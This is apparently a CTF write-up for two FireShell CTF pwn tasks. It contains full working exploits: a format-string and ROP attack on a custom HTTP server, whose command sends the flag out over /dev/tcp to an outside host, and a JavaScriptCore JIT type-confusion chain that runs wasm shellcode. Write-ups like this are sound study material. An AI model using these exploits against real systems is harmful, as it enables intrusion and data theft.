FireShell CTF had been held from March 22th JST for 24 hours. I played this CTF in zer0pts and we reached 3rd place. I solved only two pwn tasks and one easy crypto/rev, but the pwn tasks are tough and I'm going to write the solutions for them. The tasks and solvers are available here:
Other member's writeup:
Thank you @FireShellST for hosting the CTF.
Description: Finally our new secure httpd server is up! Server: http://142.93.113.55:31084/ Files: firehttpd, libc.so.6
It's a simple HTTP server but it doesn't fork.
Analysing the binary, I found the vulnerability in serve_file
function.
You see a simple Format String Bug in the referrer URL. Although it doesn't fork, the server accepts the request in an infinite loop and the base address won't change in every connection. So, my idea is to leak addressed in the first connection and get the shell in the second connection.
Since RELRO is enabled, I tried to get the shell by overwriting the return address of serve_file
.
However it didn't work because buffer size is not enough and sprintf
overwrites *environ
and the shell couldn't spawn.
My solution was to overwrite the return address by Stack Overflow caused by sprintf
.
First, we fill the buffer by something like %1023c
until right before the stack canary.
We can write null by %8$c
or whatever, and can directly put the canary.
In the same principle, we can inject our rop chain just by changing \x00
to %8$c
.
Here is my final exploit:
from ptrlib import * elf = ELF("./firehttpd") """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") HOST, PORT = "localhost", 1337 delta = 0xe7 """ libc = ELF("libc.so.6") HOST, PORT = "142.93.113.55", 31084 delta = 0xeb payload = 'GET / HTTP/1.1\r\n' payload += 'Referer: %{}$p.%{}$p.%{}$p.%{}$p\r\n\r\n'.format(5 + 0x22d, 5+265, 5, 5 + 0x22d - 2) sock = Socket(HOST, PORT) sock.send(payload) sock.recvuntil("Referer: ") r = sock.recvline().split(b'.') libc_base = int(r[0], 16) - libc.symbol("__libc_start_main") - delta proc_base = int(r[1], 16) - 0x1666 addr_stack = int(r[2], 16) - 0x2c8 canary = int(r[3], 16) logger.info("libc = " + hex(libc_base)) logger.info("proc = " + hex(proc_base)) logger.info("stack = " + hex(addr_stack)) logger.info("canary = " + hex(canary)) sock.close() rop_pop_rdi = proc_base + 0x000025ab rop_pop_rsi_r15 = proc_base + 0x000025a9 addr_cmd = addr_stack - 0x7be payload = b'GET / HTTP/1.1\r\n' payload += str2bytes('Referer: %{}c'.format(1023)) payload += str2bytes('%8$c') payload += p64(canary)[1:] payload += b'AAAABBBB' payload += p64(rop_pop_rdi)[:-2] payload += str2bytes('%8$c%8$c') payload += p64(addr_cmd)[:-2] payload += str2bytes('%8$c%8$c') payload += p64(rop_pop_rdi + 1)[:-2] payload += str2bytes('%8$c%8$c') payload += p64(libc_base + libc.symbol("system"))[:-2] payload += str2bytes('%8$c%8$c') payload += b'/bin/bash -c "/bin/cat flag>/dev/tcp/YYYY/XXXX"\0' sock = Socket(HOST, PORT) sock.send(payload + b'\r\n\r\n') sock.interactive()
I sent the result to my server but duplicating fd and spawning shell will work as well.
After I solved this challenge, I found this.
UPDATE: Server is running in /home/ctf/firehttpd Flag is on /home/ctf/flag
And it turned into a simple easy FSB to change the filepath we open. Why would they need to open this hint?
As I'm new to browser exploitation and I've never used webkit, it was a really hard and interesting challenge.
Description: I always loved side-effects on JavaScript engines. I decided to add back a nice side-effect on JavaScriptCore, can you use such feature to read the flag? Commit: 830f2e892431f6fea022f09f70f2f187950267b7 JSC will be running release with --useConcurrentJIT=false on the server Note: You script must run within 10 seconds. Machine: Ubuntu 18.04 LTS Flag: /flag Server: http://142.93.113.55:31089/ Files: jsc, libJavaScriptCode.so, patch.diff
Overview
We're given a webkit engine and its patch.
--- DFGAbstractInterpreterInlines.h 2020-03-19 13:12:31.165313000 -0700 +++ DFGAbstractInterpreterInlines__patch.h 2020-03-16 10:34:40.464185700 -0700 @@ -1779,10 +1779,10 @@ case CompareGreater: case CompareGreaterEq: case CompareEq: { - bool isClobbering = node->isBinaryUseKind(UntypedUse); + // bool isClobbering = node->isBinaryUseKind(UntypedUse); - if (isClobbering) - didFoldClobberWorld(); + // if (isClobbering) + // didFoldClobberWorld(); JSValue leftConst = forNode(node->child1()).value(); JSValue rightConst = forNode(node->child2()).value(); @@ -1905,8 +1905,8 @@ } } - if (isClobbering) - clobberWorld(); + // if (isClobbering) + // clobberWorld(); setNonCellTypeForNode(node, SpecBoolean); break; }
Vulnerability
For someone like me, who is a beginner in js pwn, it doesn't seem exploitable.
Googling the patch, I found this article. it's a vulnerability of the side-effect in JIT compiler and is very similar to this challenge.
This is a simple PoC to crash the engine.
var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; <200b> var go = function(a, c) { a[0] = 1.1; a[1] = 2.2; c == 1; a[2] = 5.67070584648226e-310; } <200b> for(var i = 0; i < 0x100000; i++) { go(arr, {}) } <200b> go(arr, { toString:() => { arr[0] = {}; return '1'; } }); "" + arr[2];
The problem happens in toString
.
Before it tries to compare c == 1
, the type of the array a
is ArrayWithDouble
but during the comparision it turns into ArrayWithContiguous
as the first element is set to {}
.
However, because the type isn't checked in JIT, a
is considered to be ArrayWithDouble
even after c == 1
.
So, the value writting in a[2]
is regarded as a pointer and thus "" + arr[2];
will crash the engine.
addrof/fakeobj primitive
According to this video and this article, we need to make addrof/fakeobj primitives first before AAR/AAW.
Fakeobj is "Making an object which is located in an arbitrary address."
You'll immediately notice we can create a fake object by returning arr[2]
in the above example.
Also, we can leak the address of an object by putting the object in a[0]
and returning a[0]
after c == 1
because the pointer is considered to be a double value in the go
function.
Here is my addrof/fakeobj primitive.
function ADDROF(obj) { var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; var jitme = function(a, c) { a[1] = 2.2; c == 1; return a[0]; } for(var i = 0; i < 100000; i++) jitme(arr, {}); return jitme(arr, { toString:() => {arr[0] = obj; return '1';} }); } function FAKEOBJ(addr) { let arr = [1.1, 2.2, 3.3]; arr['a'] = 1; var jitme = function(a, c) { a[0] = 1.1; a[1] = 2.2; c == 1; a[2] = addr; } for(var i = 0; i < 100000; i++) jitme(arr, {}); jitme(arr, { toString:() => {arr[0] = {}; return '1';} }); return arr[2]; }
AAR/AAW primitive
Float64Array?
My first idea was to make a fake object in properties of an object, whose structure id is same as that of a Float64Array
.
In this way, we can forge the fake object to be a float array and we can get AAR/AAW by overwriting vector
of Float64Array
.
However, it didn't work and I gave up.
After I solved this challenge, the author told me it was because gigacage and structure id randomization were enabled in this challenge. gigacage is a mitigation to separate heap for each object classes, which makes it impossible to overwrite data in the explained way. structure id randomization randomizes the structure id of each object, which makes it hard to guess the id to forge the fake object.
I tried to use butterfly
of ArrayWithDouble
instead of Float64Array
but it didn't work by the same reason.
Bypassing Structure ID Randomization
Actually, I cheated.
I found describe
was enabled in the server as well, and used it to leak the structure id :p
Bypassing Gigacage
As I didn't know the keyword "gigacage", I thought that it was because of the webkit version. I googled for a newly release webkit exploit to learn how to get aar/aaw "nowadays" and found this exploit.
In this exploit it overwrites the butterfly of the victim object to read from and write to an arbitrary address. By setting the butterfly to the address + 0x10, we can read/write data by its property regardless the length.
In order to overwrite the butterfly, it uses the array of the fake object. Since it refers data by offset from the butterfly, we can bypass gigacage :)
Execute Shellcode
The principle of executing the shellcode is same as that of my first browser exploit. I used wasm object rather than JIT function because I couldn't find a pointer to the JITted function. (Both are rwx!)
I found the pointer to the wasm code is stored in *(*(addrof(wasm_instance.exports.main) + 0x38))
.
I wrote a shellcode to read /flag
and writes the contents to stdout and exits.
However, it didn't work because the parent process waits for wasm code to return and hungs, which causes timeout in the remote server. I changed the code to properly return from the shellcode to the wasm trampoline.
Here's my shellcode:
0: jmp 0x41 2: pop rdi 3: xor byte ptr [rdi + 5], 0x41 7: xor rax, rax a: add al, 2 c: xor rsi, rsi f: syscall 11: sub sp, 0xfff 16: lea rsi, [rsp] 1a: mov rdi, rax 1d: xor rdx, rdx 20: mov dx, 0xfff 24: xor rax, rax 27: syscall 29: xor rdi, rdi 2c: add dil, 1 30: mov rdx, rax 33: xor rax, rax 36: add al, 1 38: syscall 3a: add sp, 0xfff 3f: ret 40: nop 41: call 2
And this is my final exploit:
var conversion_buffer = new ArrayBuffer(8) var f64 = new Float64Array(conversion_buffer) var i32 = new Uint32Array(conversion_buffer) var BASE32 = 0x100000000 function f2i(f) { f64[0] = f return i32[0] + BASE32 * i32[1] } function i2f(i) { i32[0] = i % BASE32 i32[1] = i / BASE32 return f64[0] } function hex(x) { if (x < 0) return `-${hex(-x)}` return `0x${x.toString(16)}` } function fail(x) { print('[-] ' + x) throw null } function pwn() { var stage1 = { addrof: function(victim) { var arr = [1.1, 2.2, 3.3]; arr['a'] = 1; var jitme = function(a, c) { a[1] = 2.2; c == 1; return a[0]; } for(var i = 0; i < 100000; i++) jitme(arr, {}); return f2i(jitme(arr, { toString:() => {arr[0] = victim; return '1';} })); }, fakeobj: function(addr) { let arr = [1.1, 2.2, 3.3]; arr['a'] = 1; var jitme = function(a, c) { a[0] = 1.1; a[1] = 2.2; c == 1; a[2] = addr; } for(var i = 0; i < 100000; i++) jitme(arr, {}); jitme(arr, { toString:() => {arr[0] = {}; return '1';} }); return arr[2]; } } var structure_spray = [] for (var i = 0; i < 1000; ++i) { var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}; ary['prop_' + i] = 1; structure_spray.push(ary); } var manager = structure_spray[500]; var leak_addr = stage1.addrof(manager); print('[+] leaking from: '+ hex(leak_addr)); var unboxed = eval('[' + '13.37,'.repeat(1000) + ']'); var boxed = [{}]; var victim = []; victim.p0 = 0x1337; function victim_write(val) { victim.p0 = val; } function victim_read() { return victim.p0; } var hoge = []; var w = "" + describe(hoge); var id = parseInt(w.slice(w.indexOf(":[")+2, w.indexOf(", A"))); i32[0] = id i32[1] = 0x01082007 - 0x20000 var outer = { p0: f64[0], p1: manager, p2: 0xfffffff, } var fake_addr = stage1.addrof(outer) + 0x10; print('[+] fake_addr = ' + hex(fake_addr)); var unboxed_addr = stage1.addrof(unboxed) var boxed_addr = stage1.addrof(boxed) var victim_addr = stage1.addrof(victim) var holder = {fake: {}} holder.fake = stage1.fakeobj(i2f(fake_addr)) var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8]) var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8] holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly) var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8] function set_victim_addr(where) { holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10) } function reset_victim_addr() { holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly } print("[+] stage1: done"); var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var stage2 = { addrof: function(victim) { boxed[0] = victim return f2i(unboxed[0]) }, fakeobj: function(addr) { unboxed[0] = addr return boxed[0] }, write64: function(where, what) { set_victim_addr(where) victim_write(what) reset_victim_addr() }, read64: function(where) { set_victim_addr(where) var res = this.addrof(victim_read()) reset_victim_addr() return res }, write: function(where, values) { for (var i = 0; i < values.length; ++i) { if (values[i] != 0) this.write64(where + i*8, values[i]) } }, } var addr_f = stage1.addrof(f); var addr_p = stage2.read64(addr_f + 0x38); var addr_shellcode = stage2.read64(addr_p); print("&f = " + hex(addr_f)); print("&p = " + hex(addr_p)); print("&shellcode = " + hex(addr_shellcode)); print("current code = " + hex(stage2.read64(addr_shellcode))); var shellcode = [1.0556020001549069e+40, 8.12893304724883e-232, -1.0097369144890508e-244, -7.779203339939444e+87, 7.596657102317718e-233, 4.013218676725191e-300, 8.544626307373814e-304, -1055499221778593.9, 1.5934139776206123e+184, -6.299897193458682e-229]; stage2.write(addr_shellcode, shellcode); f(); } pwn();
Yay!